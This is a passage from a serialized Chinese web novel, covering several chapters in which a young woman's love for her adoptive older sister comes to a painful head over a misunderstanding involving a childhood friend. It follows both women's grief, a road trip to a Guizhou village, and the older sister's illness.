楚鸽离开后约莫半小时,乔潇潇撑着伞回来了。那把印着小黄鸭的伞还是高一那年楚心柔给她买的,如今她个子蹿得老高,撑起来显得格外滑稽。 “怎么不开灯?”她欢快的声音在玄关响起。虽然才五点多,但阴雨天让屋里格外昏暗。灯光亮起的瞬间,她一眼就看见了坐在沙发上的姐姐。 楚心柔从楚鸽走后就一直坐在那里,不知过了多久。 “怎么瘦了这么多?”乔潇潇心疼地皱眉,把湿漉漉的伞撑开晾在一边,晃了晃手里的购物袋,“今晚给你做西餐,姐姐。” 她洗完手蹲到楚心柔面前,仔细端详:“晒黑了一点点。”楚心柔对她笑了笑,眼底泛起薄雾,一瞬不瞬地望着她。 乔潇潇盯着她看了半响,缓缓地垂下了头:“我去做饭。” 说着,她起身,像是逃一样走到了厨房,忙碌了起来。 可颤抖的手,却透出心底的慌乱,乔潇潇的心从来没有这么疼过,她的力气都像是被剥夺了,拿锅盖的手一抖,“咣当”一声砸在地上,她整个人都僵住失去了反应能力。 楚心柔起身跟着走了过来,她弯下腰,捡起了锅盖,递给了乔潇潇。 乔潇潇匆忙地说了一声:“谢谢”,就开始去拿刀准备切牛肉,头也不抬。 楚心柔却按住了她的胳膊,说:“潇潇,我有话要对你说。” 乔潇潇的手一滞,停顿了片刻,她摇了摇头,不去看姐姐:“我……我先做饭,有什么等吃明天再说。” 看她这样,楚心柔心如刀割,“潇潇……” 这几天,姐姐突然的消失,已经让她隐约猜到了什么。 如今,楚心柔这一本正经的模样,更是让乔潇潇难受,那些,曾经申扎与心底的错乱与惊慌全都涌了上来,她用力地摇头:“姐姐,我先做饭,我先做饭……” “潇潇……” 她拼命的摇头:“不要说,我求你……” 眼泪随着她摇头的动作,一并落在了楚心柔的手背上。 【作者有话说】 开始了。 76 第76章 ◎乔潇潇死死地盯着楚心柔,楚心柔一直低垂着头,不看她。◎ 那滴泪坠在手背,却似一簇滚烫的火星,直直烙进楚心柔心底最柔软的角落。 这些年,乔潇潇的眼泪为了学习流过,为了家里流过,为了压力流过,唯独没有为她流过。 这也是楚心柔最为害怕的。 晚上的西餐,本来是乔潇潇对着视频学了好久的,如今,已经再没了浪漫的感觉。 烛焰在红酒里投下摇曳的暗影,将餐刀与瓷盘碰撞的声响衬得格外清晰。 乔潇潇垂着眼帘,浓密的睫毛还挂着细碎水光,握着餐具的指尖微微发颤,连带着银质餐刀都在牛排上打滑。 她的所有力气,都像是被剥夺了。 楚心柔把牛排切好,递到了她的面前,“吃完早点休息。” 乔潇潇点了点头,依旧没有敢抬头看她,她怕一抬头,姐姐又会继续刚才的话题。 楚心柔看着她,恍惚间,仿佛回到了第一次见到潇潇的场景。 她又变成了那个敏感自卑的小女孩。 接下来的那几天,家里的气氛一直是小心翼翼的,再没了之前的欢声笑语。 许多个夜晚,乔潇潇躺在床上,盯着天花板上的光影发呆,恍惚间觉得自己像是一个溺水的人,明明知道握住的只是浮萍,却仍不肯松手,任由自己一点点沉没。 偶尔,在辗转反侧的深夜里,她会想去天台透透气,让夜风吹散胸口那股挥之不去的滞闷。可每次走到楼梯口,她都会停住脚步。 因为那个位置,早已被楚心柔占据。 楚心柔斜倚在栏杆边,指尖勾着一杯红酒,暗红色的液体在月光下泛着冷冽的光。她仰头望着夜空,眼神比夜色更深,像是蒙了一层化不开的雾,让人怎么也看不透。 本来不想要打扰杨姐姐的,可乔潇潇心里憋闷到爆炸,她忍不住给杨绯棠打了个视频电话。 视频那头,杨绯棠憔悴了不少,但是精神很好,薛总的危机已经解除,现在不过是一些扫尾的活儿,俩人经历了这次的风浪,解开了很多误会,情比金坚,又意外地完成了一直不可能完成的“减肥”任务,她不知道多开心。 “怎么着,有没有崽子想我啊?” 薛莜莜正在一边整理文件,听见杨绯棠的声音,唇角微微上扬。 她其实内心里是感激乔潇潇的,感激在那些她们分开的岁月里,杨绯棠的身边有潇潇陪着,要不,她这么爱热闹的人,指不定多憋闷。 以往,乔潇潇肯定要开口回击的,可如今,她盯着杨绯棠,眼里满是委屈,渐渐地,蓄满了泪水。 杨绯棠愣住了,目光在她脸上逡巡片刻,声音不自觉地放轻:“她知道了?” 这句话像一根细针,精准地刺进乔潇潇最脆弱的地方。她睫毛颤了颤,哽咽着:“我……不知道。” 她不知道姐姐到底是知道了,还是不知道。 她连揭晓答案的勇气都没有。 杨绯棠沉默了一会儿,看着乔潇潇泛红的眼睛,说:“等我回去。” 挂了电话。 杨绯棠垂着眼睫,整个人像是被抽走了精气神。薛莜莜迈着猫一样的步子走近,修长的双腿一跨,直接坐在她膝头。 “迟早要面对的,不是吗?”她指尖绕着杨绯棠的发尾。 杨绯棠的喉结滚动了下,眉头拧成一个小小的结:“话是这么说……” 胸口像是被压着什么,沉甸甸的透不过气。无论是楚心柔还是潇潇,都是她心尖上的人,她虽然还没有回去,可看潇潇的神态,这几天肯定不好过。 薛莜莜的指尖突然戳上她的脸颊,硬是把下垂的嘴角顶出了熟悉的弧度:“这副丧气模样可不像你。”她俯身凑近,鼻尖几乎要碰到杨绯棠的,“不是说好了要当她们的守护神吗?” 温热的呼吸拂过耳际,带着熟悉的香水味。杨绯棠闭了闭眼,再睁开时,眼底终于有了几分清明。 杨绯棠在路上做了很多打算,想着回来说点什么,让她们轻松一些,或者是转移一下话题。 可等她到了家之后,楚心柔并不在家里。 空荡荡的客厅里,乔潇潇蜷缩在沙发一角。天花板上的灯影在她瞳孔里碎成斑驳的光点,喉间压抑的哽咽声在寂静中显得格外清晰。她死死咬着下唇,直到尝到铁锈味才惊觉唇瓣已被咬破。 听到门锁声,乔潇潇立即看向门口,当看到杨绯棠的时候,她隐忍了片刻,终究是没有忍住,走上前,将头埋在了杨绯棠的怀里,眼泪横流。 她知道……会是这样的结果的…… 可是,想象中的就是千万痛,也不及现实的万分之一。 杨绯棠轻轻地拍着她的肩膀,柔声安抚着:“好了,好了,不难过了,嗯?” 明明是安慰潇潇的,她的眼圈也跟着红了。 楚心柔不在家。 这几天,她总是这样仓皇逃离。每当面对乔潇潇那双湿漉漉的眼睛,胸口就像被千万根丝线缠绕,勒得她几乎窒息。唯有抱着画板逃到无人的角落,才能获得片刻喘息。 画笔从不说谎。 从前楚心柔的调色盘上总是跳跃着温暖的橙黄,画布上铺满金灿灿的麦浪或是怒放的玫瑰。可如今,她站在悬崖边缘,任凭刺骨的风将长发吹得凌乱,冻得发青的指尖在画纸上涂抹着大片的铅灰与苍白。 “疯了吗?在这种地方画画!”杨绯棠气喘吁吁地攀上岩壁,小腿肚直打颤,“这风大的,你就不怕吹下去么?你——” “去看过潇潇了吗?” 楚心柔突然打断她的话。画笔悬在半空,凝结的颜料滴落在画纸上,晕开一片暗沉的痕迹。她没有转身,只是微微侧过脸,被风吹散的发丝间,露出一双比画布还要黯淡的眼睛。 杨绯棠一听她首要关心的还是潇潇,心里稍微舒了一口气,点头:“看了。” 她先走过去,把楚心柔从悬崖边上拉了过来,一握她的手,冰凉刻骨。 杨绯棠将那双冻得发青的手拢在掌心,呵着热气轻轻揉搓。风卷着叹息飘散,她看着楚心柔苍白的侧脸,声音又轻了几分,无奈地说:“你们啊,至于吗?都要把自己弄的这么惨兮兮的么?” 杨绯棠回来后,屋里的空气总算活泛了些。她咋咋呼呼地嚷着要吃火锅,乔潇潇便拎着菜篮出了门。房间里重归寂静,只剩下楚心柔独自陷在沙发里,像一尊凝固的雕塑。 她始终想不明白,事情怎么会变成这样。那个总爱拽着她衣角的小女孩,那个她恨不得捧在手心里呵护的妹妹,怎么会对她生出这样的感情? 在楚心柔的世界里,乔潇潇的分量甚至重过她自己。可正是这份沉甸甸的珍视,此刻却化作最锋利的刀刃,将她的心剐得鲜血淋漓。 杨绯棠和她做了这么多年的朋友,是知道她的脾气的。 这是她们之间的事儿,她只能远远的守护,在她们需要的时候,给与温暖,却不能介入。 火锅在桌上咕嘟咕嘟地冒着热气,红油在锅里翻涌,却衬得餐桌越发冷清。 以前,杨绯棠最喜欢吃着汩汩的火锅,喝着啤酒,三个人聊天了,那是最为放松的时光。 可如今,乔潇潇机械的吃着菜,楚心柔也没什么胃口,吃动了动筷子就放下了,“你们吃吧。” 她起身离开,乔潇潇的目光追着她走了几步,暗淡了下去,她也放下了筷子。 ——怎么弄成这样? 这股子压抑的气息,别说是潇潇了,就是杨绯棠都感觉憋闷烦躁到要尖叫了。 杨绯棠看向潇潇,潇潇对着她,挤出了一丝带着泪光的笑:“姐姐……她可能需要时间想想,杨姐姐,我最近先去学校住……不回来了,你在家好好照顾她。” 杨绯棠想要劝她,可又能说什么呢? 这个时候,两个人的确需要独处安静的时光,需要空下来好好想一想。 乔潇潇本来就是忙碌的,从高一开始就是这样,所以,她回到学校,只要是她想要,就有无数的工作等着她。 青心工作室的小伙伴们已经被老板的“爱岗敬业”精神震慑住了,一个个跟着加班,营业额蹭蹭地往上窜。 除了工作,潇潇也捡起了画笔,从“一见倾心”爆款之后,她就很少再设计什么新款了。 如今她的画布上铺满了狰狞的暗红色,扭曲的线条像血管般在画布上痉挛。 那些抽象的色块时而纠缠时而撕裂,宛如一颗被生生剖开的心脏。浓重的黑色在边缘蔓延,渐渐吞噬着暗红,就像黑夜吞噬最后一抹残阳。颜料堆积的肌理间,隐约可见斑驳的泪痕。 乔潇潇要推这款“泣心”的时候,大家都是投反对票的。 袁璐第一个站出来不同意,“青心一直到都是青春蓬勃的,怎么搞这么阴郁?” 那黑色与红色的搭配,光是看看,就觉得压抑。 小花不懂设计,看着乔潇潇手里的“泣心”,抿了抿唇:“要是我……不会买的。” 谁会在手上戴这么一个啊? 白七刚来,她从来不会轻易表达自己的情绪,其实内心里挺喜欢的,她感觉那手串就像是表达自己常有的情绪。 倒是王宁挺支持潇潇的:“试试吧,可以小规模先在店上看看,现在的孩子,思想都挺活泛的。” 事物都是多样性的。 等“泣心”一上市,短短几天。 让青心工作室全体员工知道,现在的伤心人有多么的多。 不到半个月的时间,销量已经直逼镇店之宝“一见倾心”了。 袁璐组织大家去庆功宴唱歌,一个是庆祝“泣心”的成功,一个是最近大家都挺忙,想着放松一下。 大家握着麦克风鬼哭神嚎的,乔潇潇像是累了,一直坐在角落里,半闭着眼睛。 王宁盯着她看了好久,叹了口气,将自己的外套脱了下来,盖在了她的身上。 当脸被遮住那一刻,潇潇的眼泪顺着眼角缓缓地滑落。 以前,潇潇总渴望着成功,渴望着长大,告诉姐姐,自己可以保护她了。 可如今……什么成功与辉煌,于她来说,仿佛都失去了本有色色彩。 晚上,糯糯的电话打了进来,她现在说话越来越流利了,“姐姐你看。” 她把手腕抬高,俨然戴着“泣心”。 乔潇潇没什么精神,并不多说。 最近这段时间都是这样的,糯糯无论说什么,姐姐都呈现“要死不活”的状态。 乔潇潇跟糯糯说了好几次了,“你好好学习,别总给我打电话,不是还有小女朋友要处呢么?” 糯糯很固执,雷打不动的给姐姐打电话,甭管她搭理不搭理自己,就是说个不停。 “现在“泣心”好火啊,大家基本上人手一个了。” 有时候,小部分人的决议还是没有办法普罗大众,唯有投入市场才是检验真理。 黑红的设计,在小花看来是压抑的,低沉的,可在年轻人眼里,那就是凸显性格,灿烂的压抑,多么的与众不同。 乔潇潇眉眼低垂。 糯糯看着她好久,缓缓地说:“姐姐,要是累了,就跟学校请假,我们回一趟万柳村吧,我也回去,我们一起去放牛好么?” 乔潇潇听了沉默了片刻,抬起头看着她,浅浅的笑了:“好了,小小的人,别操心我了,好好学习,拿双百回来给我。” 糯糯担心地看着姐姐。 从小到大,她从来没有看到过乔潇潇这样低沉的状态,就像是她现在在对着自己笑,可糯糯感觉她的一颗心已经被眼泪淹没。 …… 接到楚心柔的电话,要潇潇回家吃饭的时候,已经是俩人没有见面的一个半月以后了。 这一个半月,乔潇潇不知道是怎么度过的,所以,只是因为微信上简单的几个字——回家吃饭,正在开会的潇潇就激动的一下子站了起来,心跳加速。 大家被她弄得一怔,因为青心的规模越来越大,工作室如今也遇到了当年白绯遇到的难题,如果扩张的话,到底是去买还是租厂房的问题。 “散会!” 乔潇潇根本就没心思听接下来的汇报了,她大手一会,把大家给“驱散”了。 她太着急了,直接打车回的家。 潇潇已经把驾照考下来了,本来想最近买车的,被杨绯棠强势地拒绝了,“你觉得你现在的状态,适合开车么?乔潇潇,我不管你们怎么闹,如果威胁到生命安全,你最好想都不要想。” 杨绯棠的脸从来没那么黑过。 乔潇潇也就暂且搁浅了买车计划。 她跑回家的路上,还特意去花店买了姐姐喜欢的百合花,她小心翼翼地把花束抱在怀里,生怕碰掉一片花瓣。 百合清冽的香气混着她急促的呼吸,在胸前氤氲开一片温热的芬芳。 有几滴露水顺着茎秆滑落,打湿了袖口,凉丝丝的,却让心里那团期待的火苗烧得更旺了。 推开门的一瞬间,乔潇潇的呼吸微微一滞。 楚心柔正背对着她整理窗边的绿植,浅白色的亚麻长裙在午后的阳光里晕开一层柔光。她随意挽起的发髻散落几缕碎发,随着动作轻轻晃动着,露出纤细的后颈线条。听到开门声,她转过身来,裙摆荡开温柔的弧度,像是被风吹起的一片云。 “姐姐!” 乔潇潇开心的把怀里的百合花递给了她。 楚心柔接了过去,眼睛没有看她,“饿了么?” “嗯!想吃面条了!” 现在的潇潇,想吃什么都能吃到,可这段时间,她最想吃的还是楚心柔亲手煮的面条。 楚心柔点了点头,接过百合时指尖微微发颤,水珠顺着玻璃花瓶蜿蜒而下,“稍等一下,谢英马上做好了。” 笑容僵在了脸上,乔潇潇怔了怔,她看着楚心柔的眼睛:“谢英?” 楚心柔垂眸整理着花瓣,睫毛在眼下投出一片颤动的阴影。 厨房里的谢英听到了呼唤,他手里还拿着个铲子,走了出来,冲着乔潇潇笑的阳光灿烂:“累了吧?你谢哥哥今天给你做了满汉全席,你就等着吃吧!” 他笑的阳光灿烂,可乔潇潇的脸却迅速的冷了下来。 她看都不看谢英一眼,却死死地盯着楚心柔。 百合的香气突然变得刺鼻,混着厨房飘来的油烟味,让人一阵阵发晕。 乔潇潇死死地盯着楚心柔,楚心柔一直低垂着头,不看她。 谢英一看这架势,脚步向后,一步一步,又退回了厨房,仿佛从来没有出现过一般。 不知过了多久,乔潇潇红着眼睛哽咽地开口了,“姐姐,这就是你叫我回来的目的吗?” 【作者有话说】 潇潇已经不是当年能被随便糊弄的小孩子了。 77 第77章 ◎姐姐,我的爱对你来说……就这么不堪吗?◎ ——姐姐,这就是你让我回来的目的吗? 乔潇潇赤红的双眸死死盯着楚心柔,一个月来积压的痛苦、煎熬与惶恐在这一刻轰然决堤。 “楚心柔,我再问你一次,这就是你叫我回来的目的?” 乔潇潇又问了一遍,这一次,她没有叫姐姐。 心脏像是被钝刀一层层剐开,鲜血淋漓。 楚心柔微微蹙眉,抬眸时眼底闪过一丝隐忍:“什么目的?” 她在克制。 乔潇潇忽然低笑起来,那笑声里带着往日的玩世不恭,却比哭还让人心碎:“姐姐,我的爱对你来说……就这么不堪吗?” 楚心柔瞳孔骤缩,脸上浮现出难以置信的震惊。 泪水猝不及防地滚落,乔潇潇苦心筑起的心墙在见到谢英的瞬间就已土崩瓦解。 她们之间讳莫如深的禁忌,此刻终于被血淋淋地剖开。 “从意识到爱上你的那天起,我就在脑海里预演过千万种失去你的方式。” 如果可以,她何尝不想永远只做楚心柔的妹妹? 可心动从来不由人。 当察觉到自己越界的情愫时,乔潇潇就清楚这份感情很可能永远见不得光。 正因如此,每个辗转反侧的深夜,她都在脑海中预演着失去楚心柔的千万种可能。 所以才会—— 寝食难安; 如履薄冰。 那种恐惧与惶惑如同漆黑的漩涡,裹挟着刺骨寒意,日日夜夜在她心底翻涌。 最终,还是将她彻底吞噬。 楚心柔望着她滚落的泪水,声音微颤:“潇潇,你——” 乔潇潇猛地摇头,她不想听——无论是楚心柔即将说出口的拒绝,还是她与谢英之间的温存,都只会让她痛不欲生。 她几乎是逃一般冲进房间,抓起早已收拾好的背包,转身就要离开。 在踏出门槛的刹那,乔潇潇停住脚步,回头深深望了楚心柔一眼,那双泛红的眼眸里,盛满了痛苦与不舍。 楚心柔的嘴唇轻轻颤抖,眼泪在眼眶中打转。 ——别走。 ——不要走…… 厨房的门缝悄悄拉开一道光线,谢英探出半个脑袋张望。就在四目相对的瞬间,乔潇潇眼底最后一丝温度骤然冷却。 谢英吓得赶紧缩回了头。 她转身离去,再未回头。 听着门被摔上的声音,楚心柔的眼泪水顺着眼角滑落。 半响,谢英缓缓地走了出来,他小心翼翼地看着楚心柔,问:“心柔……这是怎么了?你不是说这孩子喜欢你吗?” 怎么就跑了? 这也不怪乔潇潇,长久以来的压抑痛苦,已经让她ptsd了。 小小的风吹草动,都会掀起心底巨大的涛浪。 楚心柔一般不会在别人面前哭,即使心如刀割,她还是抬起手,拭去了眼角的泪,声音带着浓浓的鼻音:“对不起,让你特意飞回来一趟。” 谢英摇了摇头,担忧地看着她:“嗨,你也知道,我是个闲人,公司稳定了之后,就没我什么事儿了,倒是你——” 他和楚心柔也算是发小了,从小一起长大的,楚心柔是那种小时候就是标准的“别人家”的孩子,把自己的一切归拢的井井有条,喜怒不言于色,小时候,她们小孩子拉帮结派的也有打架的情况,谢英好几次都哭花了脸,而楚心柔每次都是淡定的将他护在身后,说一声:“没事儿,哭什么哭?你是男孩子。” 谢英从没有见过楚心柔落泪,这是第一次。 他接到楚心柔的电话之后,还挺开心的,算算他回国也快三年了。 三年的时光,能改变很多东西。 他从第二年开始,就已经意识到,楚心柔这一辈子,不会与他有友情之外的其他任何关系了。 她对着他,永远都会带着礼貌的笑容,可眼底的距离,岂止是千万里。 甚至,谢英有感觉,随着他一步步的追求,那份距离,被扯得越来越远,或许,在不久的将来,就连小时候的那点情分都会消失不见。 他不得不停下了步伐。 刚开始是痛苦的,难以接受的…… 谢英甚至认真地问过楚心柔:“你说,我要是这么坚持下去,我们是不是连从小一块长大的情谊都没了?” 楚心柔看着他的眼睛,倒也没隐瞒,“是。” 从小到大,追求她的人不少。 楚心柔习惯了,对于绝大部分都是“冷”处理。 可谢英每次出现,潇潇都会低沉很久,甚至还问过她:“姐姐……他来的时候,我需要走么?” 楚心柔立即摇头,走什么走? 这里是她的家,该离开的是谢英。 谢英回家之后,大病了一场,他再回来的时候,憔悴了好多,可精神却比以前要好,他看着楚心柔,眼底都是释然:“行了,心柔,我是干不过你了,和小时候一样啊,要是坚持爱情会失去你,那太不划算了。” “这样的赔本生意,我谢英才不会干。” …… 这一年多,他已经放下了,把心思都用在了事业上,这样也好,心,渐渐就被磨平了。 慢慢的,谢英感觉,像是楚心柔这种从小就看着对感情比较淡漠,仿佛喝神仙露水长大的女孩子,在她的生命里,或许就像是她那永远礼貌却带着距离感的微笑一般,不需要太过绚烂浓墨重笔的感情吧? 可现在看看,那是没对着合适的人。 看看她对乔潇潇那样子…… 这一桌饭菜,谢英可是费了大力气了,本来是想着挑衅一下以前一直做饭特别牛掰的乔潇潇的,而如今,只有楚心柔坐在他的对面,看她的样子,像是拿筷子的力气都没有了。 “心柔……你们……” 谢英知道自己不该多嘴问的,可是……可是,这样的楚心柔,太反常了。 楚心柔这次特意将谢英叫来,是因为有些事情必须未雨绸缪。 这些年来,尽管她已与集团划清界限,但许可晴安插在她身边的眼线却始终如影随形。 她比谁都清楚,自己与乔潇潇的感情一旦有变,即便再如何小心遮掩,也终有纸包不住火的那一天。 所以,她必须提前布好所有的局。 许可晴可以对她为所欲为,集团那些心怀鬼胎的人要如何算计她,她都可以全盘接受。 但唯独乔潇潇。 她绝不允许任何人伤她分毫。 楚心柔只觉得自己的魂魄都随着乔潇潇一同抽离,她声音飘忽地说:“改天再说吧。” 此刻的她,实在没有心力向谢英解释更多。 谢英敏锐地察觉到她情绪的变化,默默低头扒拉着碗里的饭菜。楚心柔静默片刻,突然起身走进厨房,将那碗原本为乔潇潇煮的面条端了出来。 热气氤氲中,谢英瞥见那碗白花花的面,他喉结滚动了一下,立即将头埋得更低了。 …… 谢英没有多待。 他把碗筷洗了,看楚心柔的状态实在不对劲儿,盯着那个测量身高的刻度线发呆,他就赶紧告辞走人了。 谁想到一出门就碰见了左手拎着烧鸡,右手拎着一瓶酒美滋滋地往过走一身碎花裙,打扮的花枝招展的杨绯棠,一看见谢英,她瞪大了眼睛,“你小子!” 这么敏感的时刻,他怎么会出现在这儿? 谢英看着杨绯棠笑了笑,“是,杨姐姐,我小子来了。” 他精神矍铄的来了,现在要灰溜溜地走了。 杨绯棠上下看着他,“你来干什么?心柔呢?潇潇呢?” 谢英耸了耸肩,是啊,他来干什么…… 谢英知道杨绯棠是知道她们的关系的,解释着:“我看俩人好像吵架了,心柔正在里面难受呢。” 杨绯棠几乎要咆哮了,“你来了,她们能不吵架么?你不知道你这张脸代表什么吗?” 谢英的脸缩成了一团。 什么意思? “潇潇见着你,还不得扭头就走。” 谢英用力地点头,还是杨绯棠懂! 杨绯棠的大脑飞速旋转,半响,她问:“心柔叫你来,是怕那许可晴那母夜叉玩阴的吧。” 所谓旁观者清,说的就是杨姐姐。 谢英倒也没有隐瞒,“我感觉多少是这意思,哥还是有能力的。” 现在能跟楚家抗衡的,唯有谢家。 尤其是谢英,这几年,明理暗里的绊子没少使,楚云疾现在一看见他就头疼。 杨绯棠翻白眼,瞪着她,谢英不跟她闹了,“我得回酒店了,你赶紧进去看看吧,她们好像闹误会了。” 能不闹误会么? 这俩人,这一个月是怎么过的,她一直看着呢。 都像是绷紧了的弓,随时都会垮掉,一点风雨都经受不了。 可是……爱情不就是这样么?不经历点风雨,怎么见彩虹? 她这会儿掺和进去算什么啊。 杨绯棠一把抓住要跑的谢英,“哎,哪儿去啊?陪姐姐喝酒。” 谢英瞪大眼睛,这能行吗??? 杨绯棠抖了抖手里的烧鸡,“便宜你小子了。”她看出谢英的担心,“行了,那小眼睛别叽了咕噜的转了,我问你——” 她看着谢英:“你见过心柔这样么?” 谢英摇头。 哪里见过,从小到大都没见过。 杨绯棠点头,“那你见过她对谁这样么?” 谢英又摇头,他看着刚才乔潇潇离开的时候,楚心柔像是碎掉了一样。 杨绯棠瞅着他,“那你担心什么?” 谢英:…… 不,等等,这是几个意思? …… 客厅里的挂钟滴答作响。 楚心柔在沙发上呆坐了许久,终于缓缓起身,走向乔潇潇的房间。推开门时,衣柜里的衣物整整齐齐地挂着,让她心头微松。 可当她拉开抽屉时,指尖突然僵住了——户口本和身份证的位置空空如也。 这些年,乔潇潇长得太快。楚心柔至今还记得,每次换季时,她总抱怨衣服又短了一截。潇潇不拘小节,又省钱,总是在网上淘些便宜货。 直到高三那年,楚心柔开始亲自为她挑选衣服。商场里,她一件件比划着尺寸,想象着她穿上时的模样。 每一次,她把衣服买回来,潇潇都要当着她的面试穿,她不止一次感慨:“潇潇,你身材可真好。” 像是模特一样。 此刻,那些她亲手挑选的衣裙依然整齐地悬挂着,连褶皱都保持着最后的模样。唯有证明身份的重要证件,和几件贴身衣物不见了踪影。 她带走的少得可怜。 就像当初那个拖着小小行李箱,怯生生站在门外的女孩。 连最心爱的向阳花都留在了窗台——那是她们一起在花市挑了整整一个下午的成果。 都被留了*下来。 楚心柔缓缓倒在满是潇潇气息的床铺上,将脸埋进枕头。熟悉的洗发水香气中,泪水再次决堤。 原来……从始至终, 那个看似依赖她的女孩, 一直都准备着随时抽身离去。 【作者有话说】 留言破八十,二更,冲鸭[坏笑] 78 第78章 (二更) ◎爱是占有吗?◎ 乔潇潇已经不记得上一次这般撕心裂肺是什么时候了。 幼时的她总是不明白,为何命运要对她如此刻薄。看着同龄人在阳光下嬉戏,她却只能在阴霾中挣扎。那时的痛苦虽深,心里却始终燃着一簇微弱的火苗。 总想着还有明天,还有希望。 直到遇见楚心柔,上天终于对她展露慈悲。那段时光美好得如同梦境,乔潇潇第一次尝到了幸福的滋味,仿佛整个世界都为她绽放光芒。 可如今,这束照亮她生命的光,就这样无声无息地熄灭了。 年少尚未懂得爱情的甜蜜,却先尝尽了失去的苦涩。连老天都在应和她的心情,淅淅沥沥地下起了小雨。街道上行人匆匆躲避,唯有乔潇潇如游魂般在雨中踽踽独行。 冰凉的雨滴砸在肌肤上,勾起深藏的回忆。她想起初见楚心柔那日,也是这样阴冷的雨天。浑身湿透的她,看着姐姐温暖的手向她伸来。 突然,乔潇潇发足狂奔起来。胸腔里郁结的黑色情绪无处宣泄,她在这座生活了三年的城市里疯狂奔跑。雨水混着泪水模糊了视线,直到精疲力竭,她才颓然倒在湿冷的地面上,任雨水与泪水交融。 …… 杨绯棠弯腰在药柜里翻找退烧药,嘴里不停地念叨:“我就想不通了,怎么就能把自己折腾成这样?那小兔崽子居然还敢关机,知不知道有多少事等着她处理?” 沙发上,楚心柔静静地躺着。滚烫的体温让她的皮肤泛着不正常的潮红,太阳穴突突跳动的疼痛像要把脑袋劈开。 那天下雨,她终究是不放心,着急出去找了潇潇大半天,身子淋得透透的,晚上就发起了高烧。 自从那天乔潇潇夺门而出后,就再也没回来过。袁璐说只在工作室见过她一面,浑身湿透,狼狈不堪,“宁姐,这里就交给你了,我要出去一趟。” 这座城市每一个角落都弥漫着姐姐的气息,乔潇潇实在无法继续待下去了。她必须逃离,否则迟早会被这些回忆溺毙。 王宁看着她滴水的衣角和发梢,“潇潇,你……” 乔潇潇用力眨着眼睛,倔强地不让泪水落下。“可以吗,宁姐?” 王宁望进她通红的双眼,最终只是轻轻点了点头,说了一句:“你放心。” 乔潇潇只带走了身份证和一张银行卡,白七安静地陪在她身边。当听到要一起去家乡看风景时,白七的眼睛顿时亮了起来,却在看到乔潇潇红肿的双眼后,小手不自觉地攥紧了衣角。 “没事的。”乔潇潇的声音飘忽得像是随时会消散在风里,“就是想出去走走。” 她终究还是狠不下心做个彻头彻尾的混蛋。 临走前,她给杨绯棠发了条微信。 ——杨姐,我想出去散散心,拜托你照顾姐姐。 杨绯棠的语音消息几乎是瞬间轰炸过来,乔潇潇没有点开。她的指尖在楚心柔的头像上停留了很久,最终按下关机键,把所有的消息提示音都隔绝在外。 太久了。 无论是心里堆积的疲惫, 还是身体里沉淀的倦意, 都快要将她压垮。 她需要喘息, 需要逃离, 需要重新学会呼吸。 自驾成了最好的选择。新手上路的紧张感反而成了救赎,让乔潇潇必须全神贯注地盯着前方的道路,暂时逃离那些如影随形的回忆。 后备箱很快被沿途搜罗的特色零食塞得满满当当。白七终究还是个孩子,见到花花绿绿的包装袋就雀跃不已,一路上像只囤食的小松鼠,腮帮子总是鼓鼓囊囊的。 她们决定先北上北京,再南下贵州,不紧不慢地让风景在车轮下徐徐展开。 她们追逐着每一个日出日落。在居庸关长城,当第一缕晨光刺破云海时,白七兴奋地拽着乔潇潇的衣袖;在湘西沱江畔,夕阳为吊脚楼镀上金边,两人并肩坐在鹅卵石滩上,任由晚风轻抚发丝。每一公里的旅程,都让白七眼中的星光更加璀璨。 曾经为温饱挣扎的白七,从未想过自己能有这样奢侈的快乐旅程。 小姑娘天真烂漫的笑容像一缕阳光,偶尔也能让乔潇潇的唇角微微上扬。 可每当夜幕降临,乔潇潇就会陷入漫长的失眠。她睁着眼睛凝视着陌生的天花板,楚心柔的身影便不受控制地在脑海中浮现——那含笑注视她的眼眸,那带着淡淡香气的柔软身躯,那温柔似水的轻声细语,还有抚摸她发丝时说的那句“你要乖”。 全是她。 满脑子都是她…… 深夜,白七迷迷糊糊起床上厕所时,隐约瞥见乔潇潇眼角闪烁的泪光。 她愣在原地,正要仔细看清,乔潇潇却已经背过身去。 尽管已经长高了不少,此刻蜷缩成一团的乔潇潇看起来却那么脆弱可怜。 白七张了张嘴,想说些什么来安慰,最终却只是默默咽下了话语。 她什么都不知道,又怎么能安慰姐姐呢? 只是,白七接到王宁的指令,必须要每天报平安,跟她说说乔潇潇的状态。 第一天白七发了的是乔潇潇两手抚着方向盘,木讷开车的样子。 ——姐姐好像不开心。 第二天,白七发的是乔潇潇的背影。 ——姐姐她……好像在偷哭。 第三天黄昏,穿过幽暗的隧道后,向来安静的白七突然指着窗外:“姐姐快看!那朵云像不像棉花糖?” 乔潇潇顺着白七手指的方向望去,只见天际铺展着一片绚丽的晚霞。在靛青色的天幕上,几朵蓬松的云彩被夕阳染成了蜜糖般的橘粉色,最中间那朵尤其可爱,圆润的边缘泛着金边,蓬蓬松松地舒展开来,确实像极了棉花糖。 晚风从车窗缝隙钻进来,轻轻拂动白七额前的碎发。她的眼睛亮晶晶的,嘴角扬起一个大大的弧度,露出两个甜甜的酒窝,整张小脸都沐浴在金色的霞光里,连睫毛都镀上了一层暖融融的光晕。 那笑容太过灿烂,仿佛把整片天空的火烧云都比了下去。 大自然确实有着神奇的治愈力量。 而纯真的心灵,更能抚慰疲惫的灵魂。 乔潇潇感觉心里那道裂痕正在慢慢愈合,只是每当举起手机拍照时,还是会不自觉地想:若是姐姐在身边,该有多好。 临近贵州时,白七的奶奶听说孙女带着“城里来的领导”要回家,早早领着全家人在村口翘首以盼。 这是个藏在贵州深山里的古朴村落,人迹罕至,却美得惊心动魄。 当乔潇潇的越野车缓缓驶入时,她看见了一大家子在等着自己,扭头去看白七。 白七很开心,冲家人们挥手,对乔潇潇说:“我说了,不让大家来迎接,她们非要来。” 好在,白七还是温柔懂事的,没有让家人过多的打扰乔潇潇,带她去了山村里的酒店之后,让她休息,说晚上过来有篝火晚会。 当房间终于只剩自己一人时,乔潇潇又一次被无边的黑暗吞噬。不知是连日奔波的疲惫,还是积压太久的思念,眼前挥之不去的,全是楚心柔那双盛满失望的眼睛。 姐姐她……一定很生气吧。 这个念头像一根刺,深深扎在心头。 …… “咳咳、咳……” 楚心柔这次病得有些厉害,持续高烧到第三天时,杨绯棠终于忍无可忍,硬是把她拽去了医院。 Sophia听闻楚总住院的消息,特意过来查房。她仔细翻看着化验单,松了口气:“还好,只是有些炎症,输几天液就能退烧了。” 